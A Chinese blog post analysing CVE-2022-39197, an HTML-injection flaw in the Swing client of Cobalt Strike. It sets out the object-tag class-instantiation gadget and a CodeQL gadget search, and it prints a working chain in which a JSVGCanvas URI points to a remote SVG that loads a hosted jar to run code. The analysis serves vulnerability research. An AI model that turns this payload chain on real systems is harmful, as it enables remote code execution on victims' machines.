CVE-2022-39197 分析

作者: print("") 分类: Java学习,信息安全 发布时间: 2022-12-22 17:50

之前9月份的时候,忘记写了。现在重新写一份记录一下整个过程。利用过程的查找真的是废了眼睛

CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞

一、swing漏洞

CobaltStrike 使用的组件为swing  那么首先了解一下他是怎么解析使用html 

https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

解析HTMl Demo

import javax.swing.*;
import java.awt.*;

public class demo {
    /**{
     * 创建并显示GUI。出于线程安全的考虑,
     * 这个方法在事件调用线程中调用。
     */
    private static void createAndShowGUI() {
        // 确保一个漂亮的外观风格
        JFrame.setDefaultLookAndFeelDecorated(true);
        // 创建及设置窗口
        JFrame frame = new JFrame("HelloWorldSwing");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setPreferredSize(new Dimension(800, 600));
        // 添加 "Hello World" 标签
        JLabel label = new JLabel("<html><h1>66666</h1></html>");
        frame.getContentPane().add(label);
        // 显示窗口
        frame.pack();
        frame.setVisible(true);
    }
    public static void main(String[] args) {
        // 显示应用 GUI
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

追踪一下解析html 的过程 发现最终会调用到javax.swing.text.html.HTML.java  

会循环调用 每个TAG 标签。 执行完之后会经过javax/swing/text/html/HTMLDocument.HTMLReader 进行一个初始化

每个标签都有一个初始化函数例如:

例如A标签

这里大概明白了 他的一个整体的逻辑了。就是每个TAG 都有一个或者公用的一个类。

然后进入到javax/swing/text/html/HTMLEditorKit.create 函数中

在HTMLEditorKit里的create方法可以看到不同的标签会对应到创建不同的view

那么顺序是Read –> create –>new xx 视图。例如H6标签。如下

其中发现一个有意思的标签javax/swing/text/html/ObjectView

例子如下:

        <object classid="javax.swing.JLabel">
        <param name="text" value="sample text">
        </object>

代码如下:

  /**
     * Create the component.  The classid is used
     * as a specification of the classname, which
     * we try to load.
     */
    protected Component createComponent() {
        AttributeSet attr = getElement().getAttributes();
        String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);
        try {
            ReflectUtil.checkPackageAccess(classname);
            Class c = Class.forName(classname, true,Thread.currentThread().
                                    getContextClassLoader());
            Object o = c.newInstance();
            if (o instanceof Component) {
                Component comp = (Component) o;
                setParameters(comp, attr);
                return comp;
            }
        } catch (Throwable e) {
            // couldn't create a component... fall through to the
            // couldn't load representation.
        }

        return getUnloadableRepresentation();
    }

 

首先获取了classid  字符串名称。然后直接获取了这个类的对象。然后进行实例化这个类。。但是这个有一个条件,就是为 Component  类或者是他的子类

那么看看。对应的key VALUE 的设置

那么总结一下这个object 的利用的条件

classid传入需要实例化的类,类必须继承与Component
必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法
必须存在一个setXXX方法的XXX属性
setXXX方法的传参数必须是接受一个string类型的参数

那么根据如上的要求。写了一个Demo 

import java.awt.Dimension;
import javax.swing.*;
public class demo {
    private static void createAndShowGUI() {

        // 确保一个漂亮的外观风格
        JFrame.setDefaultLookAndFeelDecorated(true);
        // 创建及设置窗口
        JFrame frame = new JFrame("HelloWorldSwing");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setPreferredSize(new Dimension(800, 600));
        // 添加 "Hello World" 标签
        String payload = "<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>";
        System.out.println(payload);
        JLabel label = new JLabel(payload);

        frame.getContentPane().add(label);

        // 显示窗口
        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        // 显示应用 GUI
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }

}

JLabel 继承链--> JComponent -->Container  -->Component

public class JLabel extends JComponent implements SwingConstants, Accessible 

这里是引用了。javax.swing.JLabel.setText 函数

二、CobaltStrike 代码类的寻找

首先我们先导入任意一个版本的CS jar包到当前项目中

通过Navigate —–> Type Hierarchy  查询所有的子类


还可以使用codeql 进行查询

class SetMethod extends Method{
    SetMethod(){
        this.getDeclaringType().getASupertype*().hasQualifiedName("java.awt", "Component") and
        this.getName().indexOf("set") = 0 and
        this.getName().length() > 3 and
        this.isPublic() and
        this.fromSource() and
        this.getNumberOfParameters() = 1
        and this.getAParamType().getName() = "String"
        and this.getTotalNumberOfLines() > 3
        and this.getDeclaringType().getAConstructor().isPublic()
        and this.getDeclaringType().getAConstructor().hasNoParameters()
    }
}

from SetMethod setMethod
select setMethod, setMethod.getDeclaringType().getPackage().getName()+"."+setMethod.getDeclaringType()

大概找了好几个小时之后。就发现了这个类比较符合条件的

org.apache.batik.swing.JSVGCanvas.setURI()

    public void setURI(String var1) {
        String var2 = this.uri;
        this.uri = var1;
        if (this.uri != null) {
            this.loadSVGDocument(this.uri);
        } else {
            this.setSVGDocument((SVGDocument)null);
        }

        this.pcs.firePropertyChange("URI", var2, this.uri);
    }

那么试试这个是否可以访问某个URl

import javax.swing.*;
import java.awt.*;

import javax.swing.JLabel;
public class demo {
    /**{
     * 创建并显示GUI。出于线程安全的考虑,
     * 这个方法在事件调用线程中调用。
     */
    private static void createAndShowGUI() {
        // 确保一个漂亮的外观风格
        JFrame.setDefaultLookAndFeelDecorated(true);
        // 创建及设置窗口
        JFrame frame = new JFrame("HelloWorldSwing");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setPreferredSize(new Dimension(800, 600));
        // 添加 "Hello World" 标签
        JLabel label = new JLabel("<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.1.72/1.txt'></object>\n");
        frame.getContentPane().add(label);
        // 显示窗口
        frame.pack();
        frame.setVisible(true);
    }
    public static void main(String[] args) {
        // 显示应用 GUI
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

发现是可以访问到的。那么有一个url 访问能有啥用呢?

尝试翻翻官方文档

https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html

发现竟然可以调用import 

尝试一下

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    Runtime.getRuntime().exec('calc');
</script>
</svg>

发现并不可行。继续看看官方文档。

https://xmlgraphics.apache.org/batik/using/scripting/java.html

发现还可以 application/java-archive 这种类型的加载

查找了一下Demo

https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

远程svg 文件

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink">
        <script type="application/java-archive" xlink:href="http://127.0.0.1/6445.jar"> 
</script>  
</svg>

制作一个利用的jar包

MANIFEST.MF 制定好你写的类

Manifest-Version: 1.0
Main-Class: mains
SVG-Handler-Class: export.Demo

然后使用IDEA 的打包成jar 即可

然后执行一下  成功完成RCE

二、CobaltStrike 上线利用。

过段时间再写吧

参考:

https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

https://mp.weixin.qq.com/s/fZtDvpyAo-UZRE9MhfB0VQ

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。